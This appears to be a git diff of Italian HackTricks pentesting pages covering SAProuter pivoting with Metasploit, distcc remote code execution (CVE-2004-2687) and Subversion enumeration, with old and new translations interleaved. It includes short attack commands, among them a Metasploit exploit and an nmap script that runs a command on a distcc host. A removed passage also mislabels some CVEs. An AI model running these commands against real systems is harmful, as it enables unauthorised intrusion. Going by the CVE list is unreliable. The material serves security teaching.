This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||||
|
|
||||||
SAProuter funge da proxy inverso per i sistemi SAP, principalmente per controllare l'accesso tra Internet e le reti interne SAP. È comunemente esposto su Internet consentendo la porta TCP 3299 attraverso i firewall organizzativi. Questa configurazione rende SAProuter un obiettivo interessante per i test di penetrazione perché potrebbe fungere da gateway per reti interne di alto valore.
|
## Comprendere la Penetrazione di SAProuter con Metasploit
|
||||||
|
|
||||||
**Scansione e raccolta di informazioni**
|
SAProuter funge da proxy inverso per i sistemi SAP, principalmente per controllare l'accesso tra internet e le reti SAP interne. È comunemente esposto a internet consentendo il traffico sulla porta TCP 3299 attraverso i firewall organizzativi. Questa configurazione rende SAProuter un obiettivo attraente per il pentesting perché potrebbe fungere da gateway per reti interne di alto valore.
|
||||||
|
|
||||||
Inizialmente, viene eseguita una scansione per identificare se un router SAP è in esecuzione su un determinato IP utilizzando il modulo **sap_service_discovery**. Questo passaggio è cruciale per stabilire la presenza di un router SAP e la sua porta aperta.
|
**Scansione e Raccolta di Informazioni**
|
||||||
|
|
||||||
|
Inizialmente, viene eseguita una scansione per identificare se un router SAP è in esecuzione su un dato IP utilizzando il modulo **sap_service_discovery**. Questo passaggio è cruciale per stabilire la presenza di un router SAP e della sua porta aperta.
|
||||||
```text
|
```text
|
||||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||||
msf auxiliary(sap_service_discovery) > run
|
msf auxiliary(sap_service_discovery) > run
|
||||||
```
|
```
|
||||||
Dopo la scoperta, viene effettuata un'ulteriore indagine sulla configurazione del router SAP con il modulo **sap_router_info_request** per potenzialmente rivelare dettagli sulla rete interna.
|
Dopo la scoperta, viene effettuata un'ulteriore indagine sulla configurazione del router SAP con il modulo **sap_router_info_request** per rivelare potenzialmente dettagli sulla rete interna.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||||
msf auxiliary(sap_router_info_request) > run
|
msf auxiliary(sap_router_info_request) > run
|
||||||
```
|
```
|
||||||
**Enumerazione dei servizi interni**
|
**Enumerazione dei Servizi Interni**
|
||||||
|
|
||||||
Con le informazioni ottenute sulla rete interna, il modulo **sap_router_portscanner** viene utilizzato per sondare gli host e i servizi interni tramite SAProuter, consentendo una comprensione più approfondita delle reti interne e delle configurazioni dei servizi.
|
Con le informazioni ottenute dalla rete interna, il modulo **sap_router_portscanner** viene utilizzato per sondare gli host e i servizi interni attraverso il SAProuter, consentendo una comprensione più profonda delle reti interne e delle configurazioni dei servizi.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||||
```
|
```
|
||||||
Questo modulo, grazie alla sua flessibilità nel mirare istanze e porte SAP specifiche, si rivela uno strumento efficace per l'esplorazione dettagliata della rete interna.
|
La flessibilità di questo modulo nel mirare a specifiche istanze SAP e porte lo rende uno strumento efficace per un'esplorazione dettagliata della rete interna.
|
||||||
|
|
||||||
**Enumerazione avanzata e mappatura ACL**
|
**Enumerazione Avanzata e Mappatura ACL**
|
||||||
|
|
||||||
Scansioni ulteriori possono rivelare come le Access Control List (ACL) sono configurate sul SAProuter, fornendo dettagli su quali connessioni sono consentite o bloccate. Queste informazioni sono fondamentali per comprendere le politiche di sicurezza e le potenziali vulnerabilità.
|
Ulteriori scansioni possono rivelare come sono configurate le Liste di Controllo degli Accessi (ACL) sul SAProuter, dettagliando quali connessioni sono consentite o bloccate. Queste informazioni sono fondamentali per comprendere le politiche di sicurezza e le potenziali vulnerabilità.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||||
```
|
```
|
||||||
**Enumerazione cieca degli host interni**
|
**Enumerazione Cieca degli Host Interni**
|
||||||
|
|
||||||
In scenari in cui le informazioni dirette dal SAProuter sono limitate, è possibile applicare tecniche come l'enumerazione cieca. Questo approccio cerca di indovinare e verificare l'esistenza dei nomi degli host interni, rivelando potenziali obiettivi senza indirizzi IP diretti.
|
In scenari in cui le informazioni dirette dal SAProuter sono limitate, possono essere applicate tecniche come l'enumerazione cieca. Questo approccio tenta di indovinare e verificare l'esistenza di nomi host interni, rivelando potenziali obiettivi senza indirizzi IP diretti.
|
||||||
|
|
||||||
**Sfruttare le informazioni per il penetration testing**
|
**Sfruttare le Informazioni per il Pentesting**
|
||||||
|
|
||||||
Dopo aver mappato la rete e identificato i servizi accessibili, i penetration tester possono utilizzare le capacità di proxy di Metasploit per pivotare attraverso il SAProuter per ulteriori esplorazioni e sfruttamenti dei servizi interni SAP.
|
Avendo mappato la rete e identificato i servizi accessibili, i tester di penetrazione possono utilizzare le capacità di proxy di Metasploit per pivotare attraverso il SAProuter per ulteriori esplorazioni e sfruttamenti dei servizi SAP interni.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||||
```
|
```
|
||||||
**Conclusion**
|
**Conclusione**
|
||||||
|
|
||||||
Questo approccio sottolinea l'importanza di configurazioni sicure per SAProuter e mette in evidenza il potenziale di accesso alle reti interne attraverso test di penetrazione mirati. La corretta protezione dei router SAP e la comprensione del loro ruolo nell'architettura della sicurezza di rete sono cruciali per proteggersi dall'accesso non autorizzato.
|
Questo approccio sottolinea l'importanza di configurazioni sicure di SAProuter e evidenzia il potenziale di accesso a reti interne attraverso test di penetrazione mirati. Proteggere adeguatamente i router SAP e comprendere il loro ruolo nell'architettura di sicurezza della rete è cruciale per proteggere contro accessi non autorizzati.
|
||||||
|
|
||||||
Per ulteriori informazioni dettagliate sui moduli Metasploit e il loro utilizzo, visita il [database di Rapid7](http://www.rapid7.com/db).
|
Per ulteriori informazioni dettagliate sui moduli Metasploit e il loro utilizzo, visita [il database di Rapid7](http://www.rapid7.com/db).
|
||||||
|
|
||||||
|
|
||||||
## **Riferimenti**
|
## **Riferimenti**
|
||||||
|
@ -78,16 +81,17 @@ Per ulteriori informazioni dettagliate sui moduli Metasploit e il loro utilizzo,
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,37 +1,38 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di Base
|
# Informazioni di base
|
||||||
|
|
||||||
**Distcc** è uno strumento che migliora il **processo di compilazione** utilizzando la **potenza di elaborazione inattiva** di altri computer nella rete. Quando **distcc** è configurato su una macchina, questa macchina è in grado di distribuire i suoi **compiti di compilazione** a un altro sistema. Questo sistema destinatario deve eseguire il **daemon distccd** e deve avere un **compilatore compatibile** installato per elaborare il codice inviato.
|
**Distcc** è uno strumento che migliora il **processo di compilazione** utilizzando la **potenza di elaborazione inattiva** di altri computer nella rete. Quando **distcc** è configurato su una macchina, questa macchina è in grado di distribuire i suoi **compiti di compilazione** a un altro sistema. Questo sistema ricevente deve eseguire il **demone distccd** e deve avere un **compilatore compatibile** installato per elaborare il codice inviato.
|
||||||
|
|
||||||
**Porta predefinita:** 3632
|
**Porta predefinita:** 3632
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
3632/tcp open distccd
|
3632/tcp open distccd
|
||||||
```
|
```
|
||||||
# Sfruttamento
|
# Exploitation
|
||||||
|
|
||||||
Verificare se è vulnerabile a **CVE-2004-2687** per eseguire codice arbitrario:
|
Controlla se è vulnerabile a **CVE-2004-2687** per eseguire codice arbitrario:
|
||||||
```bash
|
```bash
|
||||||
msf5 > use exploit/unix/misc/distcc_exec
|
msf5 > use exploit/unix/misc/distcc_exec
|
||||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||||
```
|
```
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
_Non credo che shodan rilevi questo servizio._
|
_Non penso che shodan rilevi questo servizio._
|
||||||
|
|
||||||
# Risorse
|
# Risorse
|
||||||
|
|
||||||
|
@ -41,16 +42,17 @@ _Non credo che shodan rilevi questo servizio._
|
||||||
Post creato da **Álex B (@r1p)**
|
Post creato da **Álex B (@r1p)**
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,122 +1,50 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
**Subversion** è un **sistema di controllo versione** centralizzato che svolge un ruolo cruciale nella gestione dei dati presenti e storici dei progetti. Essendo uno strumento **open source**, opera sotto la **licenza Apache**. Questo sistema è ampiamente riconosciuto per le sue capacità di **versionamento del software e controllo delle revisioni**, garantendo che gli utenti possano tenere traccia delle modifiche nel tempo in modo efficiente.
|
**Subversion** è un **sistema di controllo versione** centralizzato che svolge un ruolo cruciale nella gestione sia dei dati attuali che storici dei progetti. Essendo uno strumento **open source**, opera sotto la **licenza Apache**. Questo sistema è ampiamente riconosciuto per le sue capacità di **versioning software e controllo delle revisioni**, garantendo che gli utenti possano tenere traccia delle modifiche nel tempo in modo efficiente.
|
||||||
|
|
||||||
**Porta predefinita:** 3690
|
**Porta predefinita:** 3690
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
3690/tcp open svnserve Subversion
|
3690/tcp open svnserve Subversion
|
||||||
```
|
```
|
||||||
## Banner Grabbing
|
## Acquisizione del Banner
|
||||||
|
|
||||||
Il Banner Grabbing è una tecnica utilizzata per ottenere informazioni sul servizio in esecuzione su un determinato host. Questa tecnica coinvolge l'invio di una richiesta al servizio e l'analisi della risposta ricevuta. Il banner del servizio può contenere informazioni utili come la versione del software, il sistema operativo utilizzato e altre informazioni di configurazione.
|
|
||||||
|
|
||||||
Il Banner Grabbing può essere eseguito utilizzando strumenti come Telnet o Netcat, che consentono di connettersi al servizio e visualizzare la risposta del banner. Queste informazioni possono essere utilizzate per identificare le vulnerabilità note del servizio e pianificare ulteriori attacchi.
|
|
||||||
|
|
||||||
È importante notare che il Banner Grabbing può essere considerato una tecnica invasiva e può essere considerato un tentativo di accesso non autorizzato. Pertanto, è fondamentale ottenere l'autorizzazione del proprietario del sistema prima di eseguire questa tecnica durante un test di penetrazione.
|
|
||||||
```
|
```
|
||||||
nc -vn 10.10.10.10 3690
|
nc -vn 10.10.10.10 3690
|
||||||
```
|
```
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
### Scansione delle porte
|
|
||||||
|
|
||||||
Per iniziare l'enumerazione di un server Subversion (SVN), è possibile eseguire una scansione delle porte per identificare le porte aperte. È possibile utilizzare strumenti come Nmap per eseguire una scansione delle porte TCP e UDP. Ecco un esempio di comando per eseguire una scansione delle porte TCP:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -p- <indirizzo_IP>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Rilevamento del server SVN
|
|
||||||
|
|
||||||
Una volta identificate le porte aperte, è possibile utilizzare il comando `svn info` per rilevare la presenza di un server SVN su una determinata porta. Ecco un esempio di comando:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
svn info svn://<indirizzo_IP>:<porta>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Enumerazione dei repository SVN
|
|
||||||
|
|
||||||
Dopo aver rilevato il server SVN, è possibile enumerare i repository SVN disponibili utilizzando il comando `svn list`. Ecco un esempio di comando:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
svn list svn://<indirizzo_IP>:<porta>/<repository>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Enumerazione dei file e delle directory
|
|
||||||
|
|
||||||
Una volta identificato un repository SVN, è possibile enumerare i file e le directory al suo interno utilizzando il comando `svn ls`. Ecco un esempio di comando:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
svn ls svn://<indirizzo_IP>:<porta>/<repository>/<directory>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Enumerazione delle revisioni
|
|
||||||
|
|
||||||
È possibile enumerare le revisioni di un repository SVN utilizzando il comando `svn log`. Ecco un esempio di comando:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
svn log svn://<indirizzo_IP>:<porta>/<repository>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Enumerazione delle proprietà
|
|
||||||
|
|
||||||
Infine, è possibile enumerare le proprietà di un file o di una directory utilizzando il comando `svn proplist`. Ecco un esempio di comando:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
svn proplist svn://<indirizzo_IP>:<porta>/<repository>/<file_o_directory>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Fingerprinting del server SVN
|
|
||||||
|
|
||||||
Durante l'enumerazione, è possibile raccogliere informazioni sul server SVN utilizzando il comando `svn info`. Questo comando restituirà informazioni come la versione del server SVN, il sistema operativo in uso e altre informazioni utili per il fingerprinting del server. Ecco un esempio di comando:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
svn info svn://<indirizzo_IP>:<porta>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Ricerca di vulnerabilità
|
|
||||||
|
|
||||||
Una volta completata l'enumerazione, è possibile cercare vulnerabilità note nel server SVN utilizzando strumenti come Metasploit o manualmente. Alcune vulnerabilità comuni includono:
|
|
||||||
|
|
||||||
- CVE-2017-9800: Vulnerabilità di Apache Struts 2 che consente l'esecuzione remota di codice.
|
|
||||||
- CVE-2015-5347: Vulnerabilità di Apache Subversion che consente l'esecuzione remota di codice.
|
|
||||||
- CVE-2014-0032: Vulnerabilità di Apache Subversion che consente l'esecuzione remota di codice.
|
|
||||||
|
|
||||||
## Conclusioni
|
|
||||||
|
|
||||||
L'enumerazione è una fase critica nel processo di pentesting di un server SVN. Attraverso la scansione delle porte, il rilevamento del server SVN, l'enumerazione dei repository, dei file e delle directory, delle revisioni e delle proprietà, è possibile ottenere informazioni preziose per identificare vulnerabilità e punti deboli nel server SVN.
|
|
||||||
```bash
|
```bash
|
||||||
svn ls svn://10.10.10.203 #list
|
svn ls svn://10.10.10.203 #list
|
||||||
svn log svn://10.10.10.203 #Commit history
|
svn log svn://10.10.10.203 #Commit history
|
||||||
svn checkout svn://10.10.10.203 #Download the repository
|
svn checkout svn://10.10.10.203 #Download the repository
|
||||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
